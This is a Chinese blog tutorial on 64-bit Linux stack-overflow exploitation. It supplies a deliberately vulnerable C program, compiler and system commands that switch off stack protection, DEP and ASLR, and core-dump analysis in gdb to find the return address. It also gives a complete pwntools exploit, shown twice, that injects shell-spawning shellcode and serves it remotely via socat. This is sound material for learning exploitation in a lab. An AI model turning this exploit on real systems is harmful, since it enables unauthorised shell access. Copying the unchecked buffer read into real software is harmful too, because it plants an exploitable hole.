美文网首页
ROP之linux_64 篇【上】

ROP之linux_64 篇【上】

作者: jessica1123 | 来源:发表于2018-07-22 17:18 被阅读91次

前言:本文是参考了一步一步学 ROP 之 Linux_x86 篇这篇文章的。由于老早之前就知道栈溢出和计算溢出点,但是不会用pwntools以及各种问题,导致了我写的exp从来没有运行通过。这次在看完这篇文章之后,明白了之前写的exp未成功运行的原因,以及在解决了这篇教程存在的几个问题之后,成功地实现了ROP技术的exp,因此想记录一下这个过程。

本文主要涉及了以下几个知识点:
1.core dump(核心转储)技术,关于这个可以参考一篇文章,传送门
2.关闭DEP(数据执行保护)和Stack Protector(栈保护),以及关闭ASLR(地址随机化)
3.pwntools的使用例子,详细教程传送门
4.x64操作系统的寄存器区别,可以参考前面的文章——gdb调试

注意:我使用的是linux_x64,而原教程的文章是x86系统的,所以在寄存器操作上有所不同。在看本文之前,最好先看看原来的那篇文章,这里不会对栈溢出的原理进行介绍,主要是提供我自己的解决思路。

本文还是使用原教程的例子:level1.c

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

先放出自己的exp:

#!/usr/bin/env python
from pwn import *
context(arch='x86_64',os='linux',log_level='debug')
shellcode = asm(shellcraft.amd64.linux.sh())
p = process('./level1')
#p = remote('127.0.0.1',10001)
ret = 0x7fffffffe060      #此处是buf的地址,也是需要找到的关键地址

payload =  shellcode + 'A' * (136 - len(shellcode))   + p64(ret)   #原文这里是140,也是错误的参数,实际上在x86的机器上这里应该是144
p.send(payload)
p.interactive()

接下来开始讲解我的分析思路:

注:以下所有命令都是在root权限下运行的,且以及提前装好了pwntools

1.打开core dump,core文件格式可以自己设置

ulimit -c unlimited

2.关闭DEP(数据执行保护)和Stack Protector(栈保护),以及关闭ASLR(地址随机化)

#在编译的时候,使用-fno-stack-protector 和-z execstack来分别关闭Stack Protector和DEP
gcc -fno-stack-protector -z execstack -g -o level1 level1.c
#关闭地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space 

3.运行level1,并且输入长字符串,使得栈溢出


image.png

4.按我原来的思路,是通过gdb调试来先找到栈溢出的点,再寻找程序运行的实际地址的,但是在自己测试之后,发现可以直接通过core文件来找到。因此用gdb来查看core文件

gdb level1 core
x/10s buf
x/10s $rsp
image.png
image.png
image.png
image.png

在看完以上的说明之后,可以发现由于这个函数没有调用任何参数,那么它在执行完之后,恢复到main栈帧的时候。rsp先指向rbp,然后再出栈一个机器字,执行完之后,rsp正好指向了该函数栈帧的ret的位置。所以这个查到的新rsp的地址就是旧ret的地址,ret = 0x7fffffffe060 (我自己测试的机器)。接着计算buf和rsp两个地址的差值为136,因此溢出的字符串长度应该为136。


image.png
由此,可以写出exp:
#!/usr/bin/env python
from pwn import *
context(arch='x86_64',os='linux',log_level='debug')
shellcode = asm(shellcraft.amd64.linux.sh())
p = process('./level1')
#p = remote('127.0.0.1',10001)
ret = 0x7fffffffe060      #此处是buf的地址,也是需要找到的关键地址

payload =  shellcode + 'A' * (136 - len(shellcode))   + p64(ret)   #原文这里是140,也是错误的参数,实际上在x86的机器上这里应该是144
p.send(payload)
p.interactive()

运行这个exp,发现成功触发了shell:


image.png
image.png

以上就是本地调试的过程,远程调试过程如下:

远程调试使用socat来挂载程序,而在关闭地址随机化的情况下,远程调试的地址和本地调试的也是不一样的,需要重新找到该地址。

1.使用socat挂载程序:

 socat TCP4-LISTEN:2008,fork EXEC:./level1

2.打开一个新的终端,nc连接

nc 127.0.0.1 2008
#接着为了生成core文件,输入长串的字符串引发错误
image.png

3.这样就会在原来的文件夹下面生成一个新的core文件,按之前的思路分析core文件就可以了
4.找到新的地址之后,修改exp为远程调试,同时修改ret地址就可以了


image.png

在之前的寻找溢出点的过程中,我们直接用了core文件,但是在很多时候我们可能无法获得这个文件,因此可以考虑用gdb来调试。参考之前的文章gdb调试,此处要注意一个问题:

在用gcc编译c文件的时候,要一起用-g -o这个选项,否则在少了-g的情况下,gdb调试想要进行断点设置和查看源代码的时候提示no signal信息。

推荐阅读材料:初探ROP攻击 Memory Leak & DynELF

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42239&highlight=linux%2Bpwn

相关文章

  • ROP之linux_64 篇【上】

    前言:本文是参考了一步一步学 ROP 之 Linux_x86 篇这篇文章的。由于老早之前就知道栈溢出和计算溢出点,...

  • [JarvisOj](pwn)rop_rop_rop

    简介 : 利用代码 : 方法一 :(按照出题人的思路 , 分别调用 Step1, Step2, Step3, 在内...

  • ctfwiki中级ROP level5详解

    emm第一篇自己写的详解题目跟这儿下载 参考文章 一步一步学ROP之linux_x64篇 五 写的大概是傻瓜教程了...

  • ROP|frame faking|

    基础ROP *目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲...

  • NX防护机制绕过 ROP

    什么是ROP *ROP(Return Oriented Programming)即面向返回地址编程,其主要思想是在...

  • rop and rop2 wp

    题目来源:国外的一个ctf平台hackme rop hint: ROP buffer overflow防护机制: ...

  • 基本ROP讲解

    0x01 前言 在了解栈溢出后,我们再从原理和方法两方面深入理解基本ROP。 0x02 什么是ROP ROP的全称...

  • ROP

    很明显的栈溢出,想了半天没有头绪,然后发现可以用ROPgadget –binary rop –ropchain 直...

  • ROP

    ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的...

  • ROP

    回顾:针对代码注入的防护机制 1. 经典代码注入的核心思想利用逻辑异常,在程序数据中混入代码劫持控制流,使得指令指...

网友评论

      本文标题:ROP之linux_64 篇【上】

      本文链接:https://www.haomeiwen.com/subject/cbglmftx.html